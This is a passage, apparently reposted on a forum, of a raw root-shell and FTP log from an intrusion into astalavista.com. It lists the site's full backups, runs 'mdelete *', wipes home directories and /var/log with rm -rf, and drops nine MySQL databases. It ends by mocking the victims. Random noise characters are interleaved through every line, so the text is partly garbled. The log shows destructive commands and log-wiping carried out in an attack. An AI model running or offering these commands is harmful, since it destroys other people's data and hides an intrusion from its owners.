/ p; E, h/ l- K6 @" u-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
& U3 |% }! Y* g1 E; k* R-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
7 P! J$ m! g. k( k/ Q% r-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
+ y8 U% E! p, A-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
$ g& ^" {0 _* x! X2 t2 ^, L ^4 p-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
@3 v% \$ p) R8 T[snip]
$ X: W" G4 D0 V2 K226 Transfer complete.
4 Y, M* z1 s% X! J4 |* I$ }ftp> mdelete *
j1 v/ X; ~: t- b2 {2 ]' Q8 K* Yftp> ls -la ?7 p. o) { [/ T4 J' j: O
227 Entering Passive Mode (212,254,194,163,2,193)
! v; |) }6 q( `' N" [$ y150 Opening BINARY mode data connection for ‘file list’.' M. u9 d, X7 u4 e/ V8 n
226 Transfer complete.
, j/ [) l }% C* ]1 Q9 G0 `% b Iftp>$ X9 `+ o0 q/ _1 |$ _
" A0 o+ ~: o* B( {sh-3.2# cd /home
, }& P* r; F ~+ o8 |" Tsh-3.2# ls -la$ N9 \: F* }; _! X9 k
total 1206 ]# _: q% t, s6 n2 v" u
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
% j: i+ \! H8 x: o! }5 i3 J% \* Vdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..# S. p4 r4 V! }" I
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin+ p; y6 T& F% t5 J1 ]( h
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group1 z7 ]8 y% T% `' i) L$ A
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user$ p! Y; f, G3 [- d+ P k' B% z; i
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
5 P5 V/ O3 ^1 F8 w0 V6 i5 W9 bdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
! D0 i. P' @4 G$ N2 fdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161/ j- y* X- W! a
drwx–x–x 10 com com 4096 Apr 28 12:40 com
; b5 V( E* o9 w4 L) n/ B y5 }6 Sdrwxr-xr-x 2 root root 4096 May 17 2007 ftp4 D. V' n; f, b4 ?8 m
drwx—— 3 jon jon 4096 Sep 21 2007 jon! N# Y# D, s8 ^
drwx—— 2 root root 16384 Sep 11 2007 lost+found8 I3 N) n; O9 W) A, R! M$ }5 \
drwxr-xr-x 2 root root 4096 Sep 14 2007 my4 K$ T c) [; m( I6 M1 H* A
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata2 j7 v2 B( h7 C" q7 Z2 J* q
drwx—— 2 jon jon 4096 Sep 15 2007 test% e1 j" l" D& ^
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
0 [+ S: U/ }) U) K9 A( `3 X8 Q) E- g) M U( W7 W4 w$ ]- J
sh-3.2# rm -rf backup/
3 w$ y# p: l, g! I. K" n; ash-3.2# rm -rf backup.14161/' [! m( m+ z- _7 L% w! M5 M( G! Y
sh-3.2# rm -rf ftp/
# T" v; T' u4 J2 l' ^; v$ i+ F+ H0 }sh-3.2# rm -rf jon/
" _+ C, c- W7 M% Z. ssh-3.2# rm -rf my/
* `( u9 W$ C7 T: ]; X+ Lsh-3.2# rm -rf mysqldata/1 E. E2 K3 n' d6 A( o" T
sh-3.2# rm -rf test// t9 }' h Q0 v) s' l# K- t
sh-3.2# rm -rf tmp/1 q0 ^) }7 P# W% X% f" j' z5 T8 w
sh-3.2# cd ~2 t( ?/ f% B1 m. [; i& a' \4 }8 ~
sh-3.2# rm -rf *; M" v, E: m. ^2 h; E& q* ?
sh-3.2# rm -rf /var/log/6 s& G- |2 ~" X0 S, \* a' I1 d
rm: cannot remove directory `/var/log//proftpd’: Directory not empty/ B3 C8 Y* b& v) x( ~# J
sh-3.2# rm -rf /home/*4 K* \' U0 X2 r
sh-3.2# mysql
9 {2 V" K% y3 R( Q0 bWelcome to the MySQL monitor. Commands end with ; or \g.
9 f0 w/ P% q9 `) `( z8 IYour MySQL connection id is 407156! L5 R+ Q# d% u5 C! F
Server version: 5.0.45-community-log MySQL Community Edition (GPL)# s# }2 L$ N% ?1 s- y
# _) }! L) f2 G( Z
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
) f% l2 h6 ? Z( B! m9 _/ e
2 Y3 d) @: a0 a" ^mysql> show databases;
; o1 G$ F- |! x: }: i/ R( f+———————–+: J `" X4 h+ q
| Database |
# y6 T( M' x+ A0 d- I- T+———————–+
# z5 V8 m: S3 G6 V0 J3 N| information_schema |# Z0 [5 O$ x7 H" f
| astanet_ads |% N1 p5 u( y0 M- P8 F8 _2 t: N R
| astanet_mailing_lists |9 h a- Y, Q L$ R
| astanet_mediawiki |4 |, h* N+ e/ h, x
| astanet_membersystem |
9 k' i/ b3 n% E. _1 h| com_contrexx |2 t7 D( a+ Q7 S' ~5 Y
| com_contrexx2 |
2 p; K& a- ^! w- E; J+ p$ @5 @| com_contrexx2_live |
& A& ~6 m* y0 l! `| da_roundcube |1 Q0 W4 e5 w7 @$ l6 n
| dolphin |# C; t! {$ `. a( h; s1 C, `
| ideapool |' o, K. J' \' ]# M/ n
| mysql |+ |# t7 b& p5 x& ^, r$ s. \1 E
| test |
& l, ^# H1 T' t# J2 m- J9 u' p/ m: z| yourmaster |
, ^+ |. s2 t2 l/ u0 E. Z& m+———————–+/ Z1 K: I4 k3 s
14 rows in set (0.03 sec)9 T6 L$ V5 d/ C- t4 S
: n' q: }7 l8 r9 @
mysql> drop database astanet_membersystem; ?5 J0 _! f0 f! {
droQuery OK, 46 rows affected (0.81 sec)& I, \1 w% u5 z7 [; ]/ J; }
; h4 b- v: D/ e) |2 l' v3 W
mysql> drop database com_contrexx;
, c9 l( Q4 P0 M1 r' G; {3 R5 T* @Query OK, 211 rows affected (2.72 sec)
6 T! U; p5 n* K. Y6 p8 N( Q# X# R" w3 L* o: j3 ]5 j
mysql> drop database com_contrexx2;' v& h. Y9 t$ I( x9 }. l& h$ F
Query OK, 237 rows affected (2.23 sec)# k- s9 n* c' {1 W( w: F A
1 H$ \$ P8 I1 b$ V( qmysql> drop database com_contrexx2_live;& F, {5 ~* C% q& C4 Q! l$ w, h
Query OK, 227 rows affected (7.63 sec)$ h- q3 T9 P5 _
* |3 Z, E" b2 b9 p$ f0 F7 Gmysql> drop database ideapool;- m+ S: \- b0 M
Query OK, 69 rows affected (0.19 sec)
' F% l0 u! i9 ]0 r3 N0 q0 z" c- _. R; ^/ ^' t
mysql> drop database yourmaster;
7 d5 b' V, h& G" S3 z6 ~) ^+ [5 DQuery OK, 158 rows affected (0.55 sec)9 J4 z$ b( t! Z# U7 e) K
5 c- b7 x, W* A) `# a; n: ~
mysql> drop database astanet_ads;
5 [7 O1 e# J" X, A8 yQuery OK, 9 rows affected (0.11 sec). p* d$ u4 Y( x
9 J: W/ {- T3 J% C$ W/ ^% n- c7 O
mysql> drop database astanet_mailing_lists;
0 U5 w5 I6 N& JQuery OK, 24 rows affected (1.47 sec)
4 Y+ Q* ~- v7 N7 ~1 ]$ Z
7 c; P; p( m$ Bmysql> drop database astanet_mediawiki;6 f0 `: p. o2 e3 u; w
Query OK, 31 rows affected (0.51 sec)
. R' B. n( q2 u: l2 \: _% i/ \
/ z/ Y. f( V x0 F8 Emysql> show databases;
- c3 F; w K; E" @+——————–+
' N- G" R2 L k| Database |. J6 \/ s3 Q9 H2 m
+——————–+( Z5 W O9 q! w( l; l5 M
| information_schema |
6 a6 ?0 G: f3 Q- p0 g| da_roundcube |
( g/ `7 s/ n' p# D/ z| dolphin |
/ l% u. x3 ~/ W+ M9 Z| mysql |
" b! U+ E) `5 G8 l+ Q' K: K| test |# H- z8 M ]) I
+——————–+4 h9 c, i' U5 @/ g+ n
5 rows in set (0.00 sec)8 u# ]1 v6 J' W% E) q
( Q6 s) C& K. I7 DWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
0 h+ M. J# i. p. f2 {# utheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the
/ A, k' n. N9 o8 l7 Ewrong to say this pack of morons *wont be back*.
" w( v4 O+ f7 S/ Q, N |
发表于 2012-11-6 21:07:34
收藏
支持
反对